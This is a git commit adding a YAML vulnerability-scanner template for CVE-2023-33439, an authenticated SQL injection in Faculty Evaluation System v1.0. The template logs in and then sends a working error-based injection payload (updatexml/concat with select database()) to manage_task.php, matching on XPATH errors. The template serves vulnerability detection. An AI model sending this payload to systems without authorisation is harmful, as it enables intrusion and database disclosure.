Merge pull request #7552 from harsh2403/patch-10

Create CVE-2023-33439.yaml
patch-1
Prince Chaddha 2023-07-07 17:05:10 +05:30 committed by GitHub
commit f00f0b0488
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 42 additions and 0 deletions

View File

@ -0,0 +1,42 @@
id: CVE-2023-33439
info:
name: Faculty Evaluation System v1.0 - SQL Injection
author: Harsh
severity: high
description: |
Sourcecodester Faculty Evaluation System v1.0 is vulnerable to SQL Injection via /eval/admin/manage_task.php?id=
reference:
- https://github.com/F14me7wq/bug_report/blob/main/vendors/oretnom23/faculty-evaluation-system/SQLi-1.md
- https://nvd.nist.gov/vuln/detail/CVE-2023-33439
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2023-33439
cwe-id: CWE-89
metadata:
verified: true
tags: cve,cve2023,sqli,faculty,authenticated
http:
- raw:
- |
POST /ajax.php?action=login HTTP/1.1
Host:{{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
email={{username}}&password={{password}}&login=1
- |
GET /admin/manage_task.php?id=1%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ HTTP/1.1
Host:{{Hostname}}
cookie-reuse: true
redirects: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "Fatal error:")'
- 'contains(body, "XPATH syntax error:")'
condition: and